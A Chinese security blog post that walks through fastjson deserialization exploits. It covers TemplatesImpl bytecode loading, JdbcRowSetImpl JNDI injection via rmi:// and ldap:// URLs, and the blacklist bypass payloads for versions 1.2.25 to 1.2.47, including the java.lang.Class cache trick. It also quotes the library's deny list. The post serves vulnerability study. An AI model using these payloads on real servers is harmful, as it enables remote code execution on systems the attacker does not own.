title: fastjson反序列化
tags:

  • web学习
  • Java
    abbrlink: 13031
    date: 2023-05-07 17:44:45

环境配置

<dependency>
	<groupId>com.alibaba</groupId>
	<artifactId>fastjson</artifactId>
	<version>1.2.23</version>
</dependency>

Fastjson概述

FastJson是一个由阿里巴巴研发的java库,可以把java对象转换为JSON格式,也可以把JSON字符串转换为对象

这里列举一些 fastjson 功能要点:

  • 使用 JSON.parse(jsonString)JSON.parseObject(jsonString, Target.class),两者调用链一致,前者会在 jsonString 中解析字符串获取 @type 指定的类,后者则会直接使用参数中的class。
  • fastjson 在创建一个类实例时会通过反射调用类中符合条件的 getter/setter 方法,其中 getter 方法需满足条件:方法名长于 4、不是静态方法、以 get 开头且第4位是大写字母、方法不能有参数传入、继承自 Collection|Map|AtomicBoolean|AtomicInteger|AtomicLong、此属性没有 setter 方法;setter 方法需满足条件:方法名长于 4,以 set 开头且第4位是大写字母、非静态方法、返回类型为 void 或当前类、参数个数为 1 个。具体逻辑在 com.alibaba.fastjson.util.JavaBeanInfo.build() 中。
  • 使用 JSON.parseObject(jsonString) 将会返回 JSONObject 对象,且类中的所有 getter 与setter 都被调用。
  • 如果目标类中私有变量没有 setter 方法,但是在反序列化时仍想给这个变量赋值,则需要使用 Feature.SupportNonPublicField 参数。
  • fastjson 在为类属性寻找 get/set 方法时,调用函数 com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer#smartMatch() 方法,会忽略 _|- 字符串,也就是说哪怕你的字段名叫 _a_g_e_,getter 方法为 getAge(),fastjson 也可以找得到,在 1.2.36 版本及后续版本还可以支持同时使用 _- 进行组合混淆。
  • fastjson 在反序列化时,如果 Field 类型为 byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue 进行 base64 解码,对应的,在序列化时也会进行 base64 编码。

使用

先建一个javabean

public class javaBean {
    private String name;
    private int id;

    public javaBean(){
        System.out.println("无参构造");
    }

    public javaBean(String name, int id) {
        this.name = name;
        this.id = id;
    }

    @Override
    public String toString() {
        return "User{" +
                "name='" + name + '\'' +
                ", id=" + id +
                '}';
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getId() {
        return id;
    }

    public void setId(int id) {
        System.out.println("setId");
        this.id = id;
    }
}

然后可以使用JSON的toJSONString方法 将对象转换为字符串

image-20230507175656907

但是这样得到的json格式的字符串只有属性的内容,不能区分出属于哪一个类,因此toJSONString方法还有第二个参数SerializerFeature.WriteClassName

传入SerializerFeature.WriteClassName可以使得Fastjson支持自省,开启自省后序列化成JSON的数据就会多一个@type,这个是代表对象类型的JSON文本。

image-20230507175837755

这时的json中就有@type这个键,其值就是转换为json字符串的Java类

当然也可以把JSON 字符串转换为 Java 对象

使用JSON.parse或者JSON.parseObject可以把JSON 字符串转换为 Java 对象

image-20230507181201385

JSON.parseObject方法中没指定对象,返回的则是JSONObject的对象。JSON.parseObjectJSON.parse这两个方法差不多,JSON.parseObject的底层调用的还是JSON.parse方法,只是在JSON.parse的基础上做了一个封装。

这种把对象转化为json字符串,再把字符串转换为java对象的过程其实也是一种序列化和反序列化

在序列化时,FastJson会调用成员对应的get方法,被private修饰且没有get方法的成员不会被序列化,

而反序列化的时候在,会调用了指定类的全部的setterpublibc修饰的成员全部赋值。

Fastjson1.2.24 版本漏洞复现

漏洞是利用fastjson autotype在处理json对象的时候,未对@type字段进行完全的安全性验证,攻击者可以传入危险类,并调用危险类连接远程rmi主机,通过其中的恶意类执行代码。攻击者通过这种方式可以实现远程代码执行漏洞的利用,获取服务器的敏感信息泄露,甚至可以利用此漏洞进一步对服务器数据进行修改,增加,删除等操作,对服务器造成巨大的影响。

漏洞攻击方式

@type 指定类
使用JSON.parse方法反序列化会调用此类的set方法
使用JSON.parseObject方法反序列化会调用此类get和set方法
可以写一个恶意类,然后通过这一特性实现命令执行

image-20230507212130217

image-20230507212119172

漏洞复现

parseObject流程

在正式复现漏洞之前,先看看parseObject的执行流程

首先就能看出来parseObject其实就是调了一个parse然后进行了强制类型转换

image-20230508161820331

TemplatesImpl链

版本:fastjson <= 1.2.24

说明:借助TemplatesImpl类实现漏洞利用

这个类在CC链和CB链里都出现过,这里就是用了CB的那条从getOutputProperties到defineClass的路

先试试能不能到getOutputProperties,因为只有JSON.parseObject才能调用属性的get方法,所有这里只能用JSON.parseObject,而且因为fastjson处理的时候会去掉下划线,所以这个getOutputProperties方法对应的就是_outputProperties属性

image-20230507213337271

image-20230507213503408

证明确实能过来,所以后边就简单多了,就是满足一些条件,让它能最终加载恶意字节码

找找加载字节码的路上有哪些if判断,首先是_name不能为空,_class为空

image-20230507213559252

然后是_bytecodes不能为空

image-20230507213645315

_tfactory也不能空

image-20230507220349149

最后就是加载的字节码内容是_bytecodes里的

image-20230507213909331

这里_outputProperties_tfactoryHashMap类型的成员变量,所以可以赋值成一个空的hashmap,然后_name随便赋个字符串类型的值,_bytecodes是数组类型的值,这里我们先不纠结_bytecodes里的内容,先把链子跑通再说

Fastjson默认只会反序列化public修饰的属性,因此由于outputProperties和_bytecodes由private修饰,必须加入Feature.SupportNonPublicField在parseObject中才能触发;

构造好的测试payload为

String text = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_name\":\"a\",\"_tfactory\":{},\"_bytecodes\":[\"1111111\"],\"_outputProperties\":{}}";

这里一定要注意顺序,因为我们要的是给所有的属性赋值完后再去执行反序列化链,因此_outputProperties必须放在最后面

调试一下发现已经走到defineClass里了,但是字节数组里没有值

image-20230507221113254

这就是我们之前说的fastjson 在反序列化时,如果 Field 类型为 byte[],将会调用com.alibaba.fastjson.parser.JSONScanner#bytesValue 进行 base64 解码,对应的,在序列化时也会进行 base64 编码。

image-20230507222156589

因为单纯的一个字符解不出来东西,导致出来的字节数组是空的

这也意味着我们要加载的恶意字节码必须经过base64加密后再传进去

这里就直接用cc3的时候的恶意字节码文件,然后对其进行base64加密

import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.util.Base64;
import java.util.Base64.Encoder;

public class base {
    public static void main(String args[]) {
        byte[] buffer = null;
        String filepath = "src/main/java/loadclass/cmd.class";
        try {
            FileInputStream fis = new FileInputStream(filepath);
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            byte[] b = new byte[1024];
            int n;
            while((n = fis.read(b))!=-1) {
                bos.write(b,0,n);
            }
            fis.close();
            bos.close();
            buffer = bos.toByteArray();
        }catch(Exception e) {
            e.printStackTrace();
        }
        Encoder encoder = Base64.getEncoder();
        String value = encoder.encodeToString(buffer);
        System.out.println(value);
    }
}

把得到的base64的结果放进_bytecodes里

执行即可

image-20230507222920375

总结

其实主要都是CB链的部分,大部分内容在前边也都讲过了

JdbcRowSetImpl 链

这个就是基于JNDI注入的攻击方式,也是最常用的一种

和JNDI一样,有两种,一种是和RMI一起,另一种是和LDAP一起

1. JNDI + RMI

在JdbcRowSetImpl这个类里,有这么一个set方法

image-20230524130414372

设置数据库源

里面调用了父类的setDataSourceName方法

image-20230524133345710

这里面若name为空,则会对dataSource赋值,这个值我们可控。

然后再看JdbcRowSetImpl类里的setAutoCommit

image-20230524134157752

当conn为空时,会进入connect方法

image-20230524134253621

一个lookup方法,一个可控的url,完美的jndi注入点

而且这个conn在构造方法里,默认就是null

image-20230524134424750

然后就可以构造一下payload了

{"@type":"com.sun.rowset.JdbcRowSetImpl","DataSourceName":"rmi://127.0.0.1:1099/remoteobj","autoCommit":true}

再起一个基于rmi的JNDI服务端端

image-20230524135938691

2. JNDI + LDAP

就改个url,其他的和RMI的一样

image-20230524141121218

贴个调用链,方便后边对比

image-20230524142807132

Fastjson坎坷曲折的一生

自1.2.24版本出现了Fastjson的反序列化漏洞后,在之后几个版本,阿里不断的在对漏洞点进行修补,而安全研究者们也在不断的寻找绕过的手段(这真是,泰裤辣!

1.2.25-1.2.41

修复

在这个版本中,fastjson增加了黑名单而且设置了一个autoTypeSupport用来控制是否可以反序列化,autoTypeSupport默认为false且禁止反序列化,为true时会使用checkAutoType来进行安全检测

是在DefaultJSONParser.parseObject()里用的

1.2.24版本:

image-20230524143022145

1.2.25版本:

image-20230524143208177

跟进这个checkAutoType看看

public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
    if (typeName == null) {
        return null;
    }
 
    final String className = typeName.replace('$', '.');
 
    // autoTypeSupport默认为False
    // 当autoTypeSupport开启时,先白名单过滤,匹配成功即可加载该类,否则再黑名单过滤
    if (autoTypeSupport || expectClass != null) {
        for (int i = 0; i < acceptList.length; ++i) {
            String accept = acceptList[i];
            if (className.startsWith(accept)) {
                return TypeUtils.loadClass(typeName, defaultClassLoader);
            }
        }
 
        for (int i = 0; i < denyList.length; ++i) {
            String deny = denyList[i];
            if (className.startsWith(deny)) {
                throw new JSONException("autoType is not support. " + typeName);
            }
        }
    }
 
    // 从Map缓存中获取类,注意这是后面版本的漏洞点
    Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
    if (clazz == null) {
        clazz = deserializers.findClass(typeName);
    }
 
    if (clazz != null) {
        if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
            throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
        }
 
        return clazz;
    }
 
    // 当autoTypeSupport未开启时,先黑名单过滤,再白名单过滤,若白名单匹配上则直接加载该类,否则报错
    if (!autoTypeSupport) {
        for (int i = 0; i < denyList.length; ++i) {
            String deny = denyList[i];
            if (className.startsWith(deny)) {
                throw new JSONException("autoType is not support. " + typeName);
            }
        }
        for (int i = 0; i < acceptList.length; ++i) {
            String accept = acceptList[i];
            if (className.startsWith(accept)) {
                clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
 
                if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                    throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                }
                return clazz;
            }
        }
    }
 
    if (autoTypeSupport || expectClass != null) {
        clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
    }
 
    if (clazz != null) {
 
        if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
            || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
           ) {
            throw new JSONException("autoType is not support. " + typeName);
        }
 
        if (expectClass != null) {
            if (expectClass.isAssignableFrom(clazz)) {
                return clazz;
            } else {
                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
            }
        }
    }
 
    if (!autoTypeSupport) {
        throw new JSONException("autoType is not support. " + typeName);
    }
 
    return clazz;
}

简单地说,checkAutoType()函数就是使用黑白名单的方式对反序列化的类型继续过滤,acceptList为白名单(默认为空,可手动添加),denyList为黑名单(默认不为空)

//denyList
bsh
com.mchange
com.sun.
java.lang.Thread
java.net.Socket
java.rmi
javax.xml
org.apache.bcel
org.apache.commons.beanutils
org.apache.commons.collections.Transformer
org.apache.commons.collections.functors
org.apache.commons.collections4.comparators
org.apache.commons.fileupload
org.apache.myfaces.context.servlet
org.apache.tomcat
org.apache.wicket.util
org.codehaus.groovy.runtime
org.hibernate
org.jboss
org.mozilla.javascript
org.python.core
org.springframework

这里因为黑名单中包含了”com.sun.”,所以就把我们前面的几个利用链都给过滤了

先在如果还是用之前的payload会报错

autoType is not support. com.sun.rowset.JdbcRowSetImpl

image-20230524144135776

绕过

绕过的前提是autoTypeSupport开启,在这种情况下

调用checkAutoType后,会先进行这个if判断

image-20230524145217675

也就是先找白名单,找到直接加载,找不到就去找黑名单,找到直接报错。

假设都没找到,在后面也还是会加载类

image-20230524145300385

所以只要想办法绕过第一个if里的对黑名单的检测就可以了

跟一下后面这个loadClass

image-20230524145340344

会发现它在加载之前会对传进去的特定内容进行一个切割,对切割后的内容进行类加载

所以我们让com.sun.rowset.JdbcRowSetImpl以L开头,以;结尾

变为Lcom.sun.rowset.JdbcRowSetImpl;

这样既能绕过黑名单,又能实现类加载

poc为

public class text {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);  //开启autoTypeSupport
        String poc = "{\"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\"DataSourceName\":\"ldap://127.0.0.1:9999/a\",\"autoCommit\":true}";
        JSON.parse(poc);
    }
}

image-20230524145610564

1.2.42

修复

在这个版本中,依旧用了黑白名单的方式,但是用hash的方式存的黑名单。应该是为了防止其他人根据这个去找绕过的路径

image-20230524181433397

然后再checkAutoType方法里加了个这种东西。如果这个类名是以L开头和以;结尾的,就去掉第一个字符和最后一个字符再进行后面的判断

image-20230524181855173

吐槽一下,这个if判断至于也要写成hash的形式吗,这截取的substring这么明显,而且截取的方式是不是有点太草率了

绕过

双写

image-20230524183124401

public class text {
    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);  //开启autoTypeSupport
        String poc = "{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"DataSourceName\":\"ldap://127.0.0.1:9999/a\",\"autoCommit\":true}";
        JSON.parse(poc);
    }
}

1.2.43

修复

在checkAutoType里对传入的东西再加了一层判断,如果前两位是LL,那就直接报错

image-20230524205412360

绕过

在loadClass里除了对L开头;结尾的输入进行处理,还对[开头的输入也进行了截取,所以

[com.sun.rowset.JdbcRowSetImpl,通过这个方式可以过checkAutotype检测

但是这样会有个报错

image-20230524210618496

这里就需要你在类路径后边加上[{,至于为什么还没怎么跟,原因就是

image-20230524210730026

具体源码没跟,以后有空再说

1.2.44

修复

checkAutoType中进行判断如果类名以[开始则直接抛出异常,由字符串处理导致的黑名单绕过也就告一段落了。

绕过

这个版本没绕过,倒不是因为这个版本就没洞了,只不过是因为在之后版本发现的payload在这个版本也能用

1.2.45

修复

也不能叫修复吧,毕竟上个版本也没爆漏洞

增加了黑名单

绕过

这里安全研究者将目光投向了组件身上

1.2.45的payload就是由mybatis导致的组件漏洞

先贴一个payload

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://localhost:1389/Exploit"}}

由于org.apache.ibatis.datasource.jndi.JndiDataSourceFactory不在黑名单,所以能绕过checkAutoType的判断

然后按照Fastjson的特性,会去调用属性的set方法赋值

这个payload里有properties方法,理所当然的会去调用setProperties

image-20230524212504342

又因为我们给properties赋的值的键是data_source

image-20230524212618440

满足这个else if判断

这是里调用了lookup方法,而里边的getProperty方法就是获取data_source这个键对应的值

image-20230524212743667

现在我们有了一个lookup方法,还有了个可控的url

就能实现jndi注入了

image-20230524212900228

1.2.47

修复

没怎么找资料,大概也就是把org.apache.ibatis.datasource.jndi.JndiDataSourceFactory类也放黑名单里了之类的,这个版本重点在绕过

绕过

自1.2.24漏洞修复后,我们的绕过都需要依赖AutoTypeSupport为true才能实现,这其实大大限制了我们的利用,而1.2.47版本出现的利用方式则解决了这一问题

这里出问题的还是负责安全检查的checkAutoType方法

public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
       // 类名非空判断
       if (typeName == null) {
           return null;
       }
       // 类名长度判断,不大于128不小于3
       if (typeName.length() >= 128 || typeName.length() < 3) {
           throw new JSONException("autoType is not support. " + typeName);
       }

       String className = typeName.replace('$', '.');
       Class<?> clazz = null;

       final long BASIC = 0xcbf29ce484222325L; //;
       final long PRIME = 0x100000001b3L;  //L

       final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
       // 类名以 [ 开头抛出异常
       if (h1 == 0xaf64164c86024f1aL) { // [
           throw new JSONException("autoType is not support. " + typeName);
       }
       // 类名以 L 开头以 ; 结尾抛出异常
       if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
           throw new JSONException("autoType is not support. " + typeName);
       }

       final long h3 = (((((BASIC ^ className.charAt(0))
               * PRIME)
               ^ className.charAt(1))
               * PRIME)
               ^ className.charAt(2))
               * PRIME;
       // autoTypeSupport 为 true 时,先对比 acceptHashCodes 加载白名单项
       if (autoTypeSupport || expectClass != null) {
           long hash = h3;
           for (int i = 3; i < className.length(); ++i) {
               hash ^= className.charAt(i);
               hash *= PRIME;
               if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
                   clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
                   if (clazz != null) {
                       return clazz;
                   }
               }
               // 再对比 denyHashCodes 进行黑名单匹配
               // 如果黑名单有匹配并且 TypeUtils.mappings 里没有缓存这个类
               // 则抛出异常
               if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
                   throw new JSONException("autoType is not support. " + typeName);
               }
           }
       }

       // 尝试在 TypeUtils.mappings 中查找缓存的 class
       if (clazz == null) {
           clazz = TypeUtils.getClassFromMapping(typeName);
       }

       // 尝试在 deserializers 中查找这个类
       if (clazz == null) {
           clazz = deserializers.findClass(typeName);
       }

       // 如果找到了对应的 class,则会进行 return
       if (clazz != null) {
           if (expectClass != null
                   && clazz != java.util.HashMap.class
                   && !expectClass.isAssignableFrom(clazz)) {
               throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
           }

           return clazz;
       }

       // 如果没有开启 AutoTypeSupport ,则先匹配黑名单,在匹配白名单,与之前逻辑一致
       if (!autoTypeSupport) {
           long hash = h3;
           for (int i = 3; i < className.length(); ++i) {
               char c = className.charAt(i);
               hash ^= c;
               hash *= PRIME;

               if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
                   throw new JSONException("autoType is not support. " + typeName);
               }

               if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
                   if (clazz == null) {
                       clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
                   }

                   if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
                       throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
                   }

                   return clazz;
               }
           }
       }
       // 如果 class 还为空,则使用 TypeUtils.loadClass 尝试加载这个类
       if (clazz == null) {
           clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
       }

       if (clazz != null) {
           if (TypeUtils.getAnnotation(clazz,JSONType.class) != null) {
               return clazz;
           }

           if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
                   || DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
                   ) {
               throw new JSONException("autoType is not support. " + typeName);
           }

           if (expectClass != null) {
               if (expectClass.isAssignableFrom(clazz)) {
                   return clazz;
               } else {
                   throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
               }
           }

           JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, propertyNamingStrategy);
           if (beanInfo.creatorConstructor != null && autoTypeSupport) {
               throw new JSONException("autoType is not support. " + typeName);
           }
       }

       final int mask = Feature.SupportAutoType.mask;
       boolean autoTypeSupport = this.autoTypeSupport
               || (features & mask) != 0
               || (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;

       if (!autoTypeSupport) {
           throw new JSONException("autoType is not support. " + typeName);
       }

       return clazz;
   }

这里其实有个问题

image-20230524214001583

这块,如果开启了autoTypeSupport,fastjson还是会限制黑名单类的反序列化,但是前提是TypeUtils.mappings里没有缓存这个类,那假如缓存了,即使身处黑名单中的类,也可以继续被程序反序列化

而在 autoTypeSupport 为默认的 false 时,程序直接检查黑名单并抛出异常,在这部分我们无法绕过,所以必须想办法在当autoTypeSupport为false时执行的这个if判断前实现我们的攻击目的,或者退出checkAutoType方法

在这个if判断之前就这点代码

image-20230524214858725

由于clazz初值是null,前面也没地方赋值,所以其实在这个if之前就俩if判断

image-20230524215007194

假如在这里面能实现攻击那自然不用再管后面的程序,而如果能在这里面把clazz的值给赋上,那就能在判断autoTypeSupport是否为假的if判断前退出程序

先看 deserializers ,位于 com.alibaba.fastjson.parser.ParserConfig.deserializers ,是一个 IdentityHashMap,能向其中赋值的函数有:

  • getDeserializer():这个类用来加载一些特定类,以及有 JSONType 注解的类,在 put 之前都有类名及相关信息的判断,无法为我们所用。
  • initDeserializers():无入参,在构造方法中调用,写死一些认为没有危害的固定常用类,无法为我们所用。
  • putDeserializer():被前两个函数调用,我们无法控制入参。

因此我们无法向 deserializers 中写入值,也就在其中读出我们想要的恶意类。所以我们的目光转向了 TypeUtils.getClassFromMapping(typeName)

这个方法从 TypeUtils.mappings 中取值,这是一个 ConcurrentHashMap 对象,

image-20230524222728948

能向其中赋值的函数有:

  • addBaseClassMappings():无入参,加载

image-20230524222801525

loadClass():关键函数

public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
        // 非空判断
        if(className == null || className.length() == 0){
            return null;
        }
        // 防止重复添加
        Class<?> clazz = mappings.get(className);
        if(clazz != null){
            return clazz;
        }
        // 判断 className 是否以 [ 开头
        if(className.charAt(0) == '['){
            Class<?> componentType = loadClass(className.substring(1), classLoader);
            return Array.newInstance(componentType, 0).getClass();
        }
        // 判断 className 是否 L 开头 ; 结尾
        if(className.startsWith("L") && className.endsWith(";")){
            String newClassName = className.substring(1, className.length() - 1);
            return loadClass(newClassName, classLoader);
        }
        try{
            // 如果 classLoader 非空,cache 为 true 则使用该类加载器加载并存入 mappings 中
            if(classLoader != null){
                clazz = classLoader.loadClass(className);
                if (cache) {
                    mappings.put(className, clazz);
                }
                return clazz;
            }
        } catch(Throwable e){
            e.printStackTrace();
            // skip
        }
        // 如果失败,或没有指定 ClassLoader ,则使用当前线程的 contextClassLoader 来加载类,也需要 cache 为 true 才能写入 mappings 中
        try{
            ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
            if(contextClassLoader != null && contextClassLoader != classLoader){
                clazz = contextClassLoader.loadClass(className);
                if (cache) {
                    mappings.put(className, clazz);
                }
                return clazz;
            }
        } catch(Throwable e){
            // skip
        }
        // 如果还是失败,则使用 Class.forName 来获取 class 对象并放入 mappings 中
        try{
            clazz = Class.forName(className);
            mappings.put(className, clazz);
            return clazz;
        } catch(Throwable e){
            // skip
        }
        return clazz;
    }

image-20230524223019994

所以可以通过控制传参实现在mapping里放入任意的类

这个loadClass有三个重载

image-20230524223745658

我们的目标就是调用第三个,而从一或者从二都能到第三个。

因为第三个只在checkAutoType里和第二个loadClass里调用

image-20230524223939519

所以这个没戏了

然后这里重点看一下两个参数的loadClass

image-20230524224045140

进deserialze里看一眼

这个类是用来处理一些乱七八糟类的反序列化类,其中就包括 Class.class 类,可以当我们加载恶意字节码的入口。

如果这个类是Class.class类型,就调用我们的loadClass

image-20230524224323194

再看一下loadClass的参数

image-20230524225226576

image-20230524225236990

是可控的。只需要parser.resolveStatus 的值为TypeNameRedirect而且加载的是个Class.class类型的,就可以进入loadClass里

image-20230524231749730

在loadClass里,他会把我们传入的类加进缓存里,所以如果我们的恶意payload有两部分,第一部分负责将恶意类假如缓存,第二部分就可以绕过黑名单的检查去执行命令

加入缓存的地方找到了,接下来简单说一下调用的过程和构造payload的时候的参数问题

调用MiscCodec#deserialze的地方在DefaultJSONParser#parseObject。在安全检查的后边,但是因为我们第一部分的payload肯定不会触发安全检查的报错,也就是说MiscCodec#deserialze一定会被触发

image-20230524232603778

这个clazz就是@type的值,然后由于MiscCodec#deserialze里有

image-20230524233059139

所以想要进缓存的类的键必须为val

我们可以编写

第一部分的payload了

{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}

后边就没啥说的了,因为绕过了安全检查,所以第二部分用之前JdbcRowSetImpl链的payload就行

完整payload

String poc = "{{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:9999/a\",\"autoCommit\":true}}";

image-20230524233602557

小结

这篇其实写的挺赶的,主要是先为了学会利用,所以没怎么细跟代码,而且有点错误在里边,比如1.2.47的payload的不受AutoTypeSupport影响的版本:其实是1.2.25 <= fastjson <= 1.2.32而受AutoTypeSupport影响版本有1.2.33 <= fastjson <= 1.2.47

具体原因还没看

还有就是关于高jdk版本绕过以及fastjson-1.2.68和fastjson结合原生反序列化利用的漏洞利用没写,等打完国赛或者过完期末再补吧

参考文章

https://su18.org/post/fastjson/

https://tttang.com/archive/1579/

fastjson反序列化漏洞3-<=1.2.47绕过_哔哩哔哩_bilibili

FastJson与原生反序列化 | Y4tacker's Blog

https://goodapple.top/archives/832

Fastjson反序列化漏洞(3)—历史版本绕过 – JohnFrod's Blog


文章作者: Ethe
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Ethe !
评论
  目录